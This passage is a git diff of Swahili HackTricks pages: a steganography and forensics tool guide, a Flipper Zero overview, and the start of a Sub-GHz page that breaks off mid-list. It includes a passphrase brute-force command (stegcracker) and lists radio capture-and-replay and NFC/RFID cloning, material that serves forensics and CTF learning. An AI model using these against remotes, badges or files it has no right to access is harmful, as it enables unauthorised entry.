* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## **Kuchambua Data kutoka kwa Faili**
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## **Kuchambua Data kutoka kwenye Faili**
|
||||||
|
|
||||||
### **Binwalk**
|
### **Binwalk**
|
||||||
|
|
||||||
|
@ -26,7 +34,7 @@ binwalk --dd ".*" file # Extracts all data
|
||||||
```
|
```
|
||||||
### **Kwanza kabisa**
|
### **Kwanza kabisa**
|
||||||
|
|
||||||
Inarejesha faili kulingana na vichwa vyao na miguu, inayofaa kwa picha za png. Imeboreshwa kupitia `apt` na chanzo chake kwenye [GitHub](https://github.com/korczis/foremost).
|
Inapata faili kulingana na vichwa vyao na miguu, inayofaa kwa picha za png. Imeboreshwa kupitia `apt` na chanzo chake kwenye [GitHub](https://github.com/korczis/foremost).
|
||||||
```bash
|
```bash
|
||||||
foremost -i file # Extracts data
|
foremost -i file # Extracts data
|
||||||
```
|
```
|
||||||
|
@ -38,7 +46,7 @@ exiftool file # Shows the metadata
|
||||||
```
|
```
|
||||||
### **Exiv2**
|
### **Exiv2**
|
||||||
|
|
||||||
Sawa na exiftool, kwa kuangalia metadata. Inaweza kusakinishwa kupitia `apt`, chanzo kiko kwenye [GitHub](https://github.com/Exiv2/exiv2), na ina tovuti rasmi [hapa](http://www.exiv2.org/).
|
Sawa na exiftool, kwa kuangalia metadata. Inaweza kusakinishwa kupitia `apt`, chanzo kiko kwenye [GitHub](https://github.com/Exiv2/exiv2), na ina [tovuti rasmi](http://www.exiv2.org/).
|
||||||
```bash
|
```bash
|
||||||
exiv2 file # Shows the metadata
|
exiv2 file # Shows the metadata
|
||||||
```
|
```
|
||||||
|
@ -70,17 +78,17 @@ cmp original.jpg stego.jpg -b -l
|
||||||
|
|
||||||
### **Data Iliyofichwa kwenye Nafasi**
|
### **Data Iliyofichwa kwenye Nafasi**
|
||||||
|
|
||||||
Vipengele visivyoonekana katika nafasi zisizo na maudhui yanaweza kuficha habari. Ili kuondoa data hii, tembelea [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
Vipande visivyoonekana kwenye nafasi zisizo na maudhui yanaweza kuficha taarifa. Ili kuondoa data hii, tembelea [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||||
|
|
||||||
## **Kuondoa Data kutoka kwenye Picha**
|
## **Kuondoa Data kutoka kwenye Picha**
|
||||||
|
|
||||||
### **Kutambua Maelezo ya Picha na GraphicMagick**
|
### **Kutambua Maelezo ya Picha kwa Kutumia GraphicMagick**
|
||||||
|
|
||||||
[GraphicMagick](https://imagemagick.org/script/download.php) inatumika kutambua aina za faili za picha na kutambua uharibifu wa uwezekano. Tekeleza amri ifuatayo kuangalia picha:
|
[GraphicMagick](https://imagemagick.org/script/download.php) inatumika kutambua aina za faili za picha na kutambua uharibifu wa picha. Tekeleza amri ifuatayo kuangalia picha:
|
||||||
```bash
|
```bash
|
||||||
./magick identify -verbose stego.jpg
|
./magick identify -verbose stego.jpg
|
||||||
```
|
```
|
||||||
Kujaribu kurekebisha picha iliyoharibika, kuongeza maoni ya metadata inaweza kusaidia:
|
Kujaribu kurekebisha picha iliyoharibika, kuongeza maoni ya metadata kunaweza kusaidia:
|
||||||
```bash
|
```bash
|
||||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||||
```
|
```
|
||||||
|
@ -90,7 +98,7 @@ Steghide inarahisisha kuficha data ndani ya faili za `JPEG, BMP, WAV, na AU`, in
|
||||||
|
|
||||||
**Amri:**
|
**Amri:**
|
||||||
|
|
||||||
* `steghide info file` inaonyesha ikiwa faili ina data iliyofichwa.
|
* `steghide info file` inaonyesha kama faili ina data iliyofichwa.
|
||||||
* `steghide extract -sf file [--passphrase password]` inatoa data iliyofichwa, nenosiri ni hiari.
|
* `steghide extract -sf file [--passphrase password]` inatoa data iliyofichwa, nenosiri ni hiari.
|
||||||
|
|
||||||
Kwa uchimbaji wa wavuti, tembelea [tovuti hii](https://futureboy.us/stegano/decinput.html).
|
Kwa uchimbaji wa wavuti, tembelea [tovuti hii](https://futureboy.us/stegano/decinput.html).
|
||||||
|
@ -103,7 +111,7 @@ stegcracker <file> [<wordlist>]
|
||||||
```
|
```
|
||||||
### **zsteg kwa Faili za PNG na BMP**
|
### **zsteg kwa Faili za PNG na BMP**
|
||||||
|
|
||||||
zsteg inajitolea katika kufunua data iliyofichwa katika faili za PNG na BMP. Usanidi unafanywa kupitia `gem install zsteg`, na [chanzo chake kiko kwenye GitHub](https://github.com/zed-0xff/zsteg).
|
zsteg inajitolea katika kufunua data iliyofichwa katika faili za PNG na BMP. Usanidi unafanywa kupitia `gem install zsteg`, na chanzo chake kiko kwenye [GitHub](https://github.com/zed-0xff/zsteg).
|
||||||
|
|
||||||
**Amri:**
|
**Amri:**
|
||||||
|
|
||||||
|
@ -112,25 +120,25 @@ zsteg inajitolea katika kufunua data iliyofichwa katika faili za PNG na BMP. Usa
|
||||||
|
|
||||||
### **StegoVeritas na Stegsolve**
|
### **StegoVeritas na Stegsolve**
|
||||||
|
|
||||||
**stegoVeritas** huchunguza metadata, hufanya mabadiliko ya picha, na kutumia nguvu ya LSB miongoni mwa sifa zingine. Tumia `stegoveritas.py -h` kwa orodha kamili ya chaguo na `stegoveritas.py stego.jpg` kutekeleza uchunguzi wote.
|
**stegoVeritas** huchunguza metadata, hufanya mabadiliko ya picha, na kutumia nguvu ya kufanya kazi ya LSB miongoni mwa vipengele vingine. Tumia `stegoveritas.py -h` kwa orodha kamili ya chaguo na `stegoveritas.py stego.jpg` kutekeleza uchunguzi wote.
|
||||||
|
|
||||||
**Stegsolve** inatumia vichujio vya rangi mbalimbali kufunua maandishi au ujumbe uliofichwa ndani ya picha. Inapatikana kwenye [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
**Stegsolve** inatumia vichujio vya rangi mbalimbali kufunua maandishi au ujumbe uliofichwa ndani ya picha. Inapatikana kwenye [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||||
|
|
||||||
### **FFT kwa Ugunduzi wa Yaliyofichwa**
|
### **FFT kwa Ugunduzi wa Yaliyofichwa**
|
||||||
|
|
||||||
Mbinu za Fast Fourier Transform (FFT) zinaweza kufunua yaliyofichwa katika picha. Vyanzo muhimu ni pamoja na:
|
Mbinu za Fast Fourier Transform (FFT) zinaweza kufunua yaliyofichwa katika picha. Vyanzo vya kufaa ni pamoja na:
|
||||||
|
|
||||||
* [Demos ya EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
* [Demosi ya EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||||
* [FFTStegPic kwenye GitHub](https://github.com/0xcomposure/FFTStegPic)
|
* [FFTStegPic kwenye GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||||
|
|
||||||
### **Stegpy kwa Faili za Sauti na Picha**
|
### **Stegpy kwa Faili za Sauti na Picha**
|
||||||
|
|
||||||
Stegpy inaruhusu kuingiza habari kwenye faili za picha na sauti, ikisaidia muundo kama PNG, BMP, GIF, WebP, na WAV. Inapatikana kwenye [GitHub](https://github.com/dhsdshdhk/stegpy).
|
Stegpy inaruhusu kuingiza habari katika faili za picha na sauti, ikisaidia muundo kama PNG, BMP, GIF, WebP, na WAV. Inapatikana kwenye [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||||
|
|
||||||
### **Pngcheck kwa Uchambuzi wa Faili za PNG**
|
### **Pngcheck kwa Uchambuzi wa Faili za PNG**
|
||||||
|
|
||||||
Kuchambua faili za PNG au kuthibitisha uhalali wao, tumia:
|
Kufanya uchambuzi wa faili za PNG au kuthibitisha uhalali wao, tumia:
|
||||||
```bash
|
```bash
|
||||||
apt-get install pngcheck
|
apt-get install pngcheck
|
||||||
pngcheck stego.png
|
pngcheck stego.png
|
||||||
|
@ -159,7 +167,7 @@ Zana hii inalingana na aina mbalimbali za muundo ikiwa ni pamoja na PNG, BMP, GI
|
||||||
|
|
||||||
### **ffmpeg**
|
### **ffmpeg**
|
||||||
|
|
||||||
ffmpeg ni muhimu kwa kutathmini uadilifu wa faili za sauti, kutoa maelezo ya kina na kutambua hitilafu yoyote.
|
ffmpeg ni muhimu kwa kutathmini uadilifu wa faili za sauti, kueleza maelezo ya kina na kutambua hitilafu yoyote.
|
||||||
```bash
|
```bash
|
||||||
ffmpeg -v info -i stego.mp3 -f null -
|
ffmpeg -v info -i stego.mp3 -f null -
|
||||||
```
|
```
|
||||||
|
@ -181,7 +189,7 @@ Zana muhimu kwa uchunguzi wa kivisuali na kianalitiki wa faili za sauti, Sonic V
|
||||||
|
|
||||||
### **DTMF Tones - Dial Tones**
|
### **DTMF Tones - Dial Tones**
|
||||||
|
|
||||||
Kugundua sauti za DTMF katika faili za sauti kunaweza kufanikiwa kupitia zana mtandaoni kama [hii DTMF detector](https://unframework.github.io/dtmf-detect/) na [DialABC](http://dialabc.com/sound/detect/index.html).
|
Kugundua sauti za DTMF katika faili za sauti kunaweza kufikiwa kupitia zana mtandaoni kama [hii DTMF detector](https://unframework.github.io/dtmf-detect/) na [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||||
|
|
||||||
## **Mbinu Nyingine**
|
## **Mbinu Nyingine**
|
||||||
|
|
||||||
|
@ -192,19 +200,21 @@ Data ya binary ambayo inapata mraba wa nambari kamili inaweza kuwakilisha msimbo
|
||||||
import math
|
import math
|
||||||
math.sqrt(2500) #50
|
math.sqrt(2500) #50
|
||||||
```
|
```
|
||||||
### **Tafsiri ya Kuficha**
|
|
||||||
|
|
||||||
Kwa kubadilisha binary kuwa picha, angalia [dcode](https://www.dcode.fr/binary-image). Kusoma nambari za QR, tumia [msomaji wa mtandaoni wa barcode hapa](https://online-barcode-reader.inliteresearch.com/).
|
|
||||||
|
|
||||||
### **Tafsiri ya Braille**
|
### **Tafsiri ya Braille**
|
||||||
|
|
||||||
Kwa kutafsiri Braille, [Branah Braille Translator](https://www.branah.com/braille-translator) ni rasilimali nzuri.
|
Kwa kutafsiri Braille, [Mwandishi wa Braille wa Branah](https://www.branah.com/braille-translator) ni rasilimali nzuri.
|
||||||
|
|
||||||
## **Vyanzo**
|
## **Vyanzo**
|
||||||
|
|
||||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -212,9 +222,9 @@ Kwa kutafsiri Braille, [Branah Braille Translator](https://www.branah.com/braill
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,19 +2,27 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Kwa kutumia [**Flipper Zero**](https://flipperzero.one/) unaweza:
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
* **Kusikiliza/Kukamata/Kurejea marudio ya masafa ya redio:** [**Sub-GHz**](fz-sub-ghz.md)
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
Kwa [**Flipper Zero**](https://flipperzero.one/) unaweza:
|
||||||
|
|
||||||
|
* **Kusikiliza/Kukamata/Kurejea marudio ya redio:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||||
* **Kusoma/Kukamata/Kuiga kadi za NFC:** [**NFC**](fz-nfc.md)
|
* **Kusoma/Kukamata/Kuiga kadi za NFC:** [**NFC**](fz-nfc.md)
|
||||||
* **Kusoma/Kukamata/Kuiga vitambulisho vya 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md)
|
* **Kusoma/Kukamata/Kuiga vitambulisho vya 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||||
* **Kusoma/Kukamata/Kutuma ishara za Infrared:** [**Infrared**](fz-infrared.md)
|
* **Kusoma/Kukamata/Kutuma ishara za Infrared:** [**Infrared**](fz-infrared.md)
|
||||||
|
@ -25,14 +33,20 @@ Kwa kutumia [**Flipper Zero**](https://flipperzero.one/) unaweza:
|
||||||
|
|
||||||
**Rasilimali zingine za Flipper Zero zinapatikana kwenye** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
**Rasilimali zingine za Flipper Zero zinapatikana kwenye** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
@ -10,19 +10,27 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Utangulizi <a href="#kfpn7" id="kfpn7"></a>
|
## Utangulizi <a href="#kfpn7" id="kfpn7"></a>
|
||||||
|
|
||||||
Flipper Zero inaweza **kupokea na kutuma masafa ya redio kwenye safu ya 300-928 MHz** na moduli yake iliyojengwa, ambayo inaweza kusoma, kuhifadhi, na kujifanya kuwa vitufe vya mbali. Vitufe hivi hutumiwa kwa mwingiliano na milango, vizuizi, kufungua kwa redio, swichi za udhibiti wa mbali, kengele za mlango za wireless, taa za akili, na zaidi. Flipper Zero inaweza kukusaidia kujua ikiwa usalama wako umevunjwa.
|
Flipper Zero inaweza **kupokea na kutuma masafa ya redio kwenye safu ya 300-928 MHz** na moduli yake iliyojengwa, ambayo inaweza kusoma, kuhifadhi, na kujifanya kuwa udhibiti wa mbali. Udhibiti huu hutumiwa kwa mwingiliano na milango, vizuizi, kufungia redio, swichi za udhibiti wa mbali, visinga vya mlango visivyo na waya, taa za akili, na zaidi. Flipper Zero inaweza kukusaidia kujua ikiwa usalama wako umevamiwa.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Vifaa vya Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
|
## Vifaa vya Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
|
||||||
|
|
||||||
Flipper Zero ina moduli ya sub-1 GHz iliyojengwa kulingana na [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) na antena ya redio (umbali wa juu ni mita 50). Chip ya CC1101 na antena zimedesign kufanya kazi kwenye masafa katika bende za 300-348 MHz, 387-464 MHz, na 779-928 MHz.
|
Flipper Zero ina moduli ya sub-1 GHz iliyojengwa kulingana na [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) na antena ya redio (mbali ya juu ni mita 50). Chipi ya CC1101 na antena zimeundwa kufanya kazi kwenye masafa katika bendi za 300-348 MHz, 387-464 MHz, na 779-928 MHz.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -31,16 +39,16 @@ Flipper Zero ina moduli ya sub-1 GHz iliyojengwa kulingana na [](https://www.
|
||||||
### Mchambuzi wa Masafa
|
### Mchambuzi wa Masafa
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Jinsi ya kugundua ni masafa gani yanayotumiwa na kifaa cha mbali
|
Jinsi ya kugundua ni masafa gani yanayotumiwa na udhibiti
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Wakati wa uchambuzi, Flipper Zero inachunguza nguvu za ishara (RSSI) kwenye masafa yote yanayopatikana katika usanidi wa masafa. Flipper Zero inaonyesha masafa yenye thamani kubwa zaidi ya RSSI, na nguvu ya ishara zaidi ya -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
Wakati wa uchambuzi, Flipper Zero inachunguza nguvu za ishara (RSSI) kwa masafa yote yanayopatikana katika usanidi wa masafa. Flipper Zero inaonyesha masafa yenye thamani kubwa zaidi ya RSSI, na nguvu ya ishara zaidi ya -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
||||||
|
|
||||||
Ili kujua masafa ya kifaa cha mbali, fanya yafuatayo:
|
Ili kujua masafa ya udhibiti, fanya yafuatayo:
|
||||||
|
|
||||||
1. Weka kifaa cha udhibiti mbali karibu sana na upande wa kushoto wa Flipper Zero.
|
1. Weka udhibiti wa mbali karibu sana na upande wa kushoto wa Flipper Zero.
|
||||||
2. Nenda kwa **Menyu Kuu** **→ Sub-GHz**.
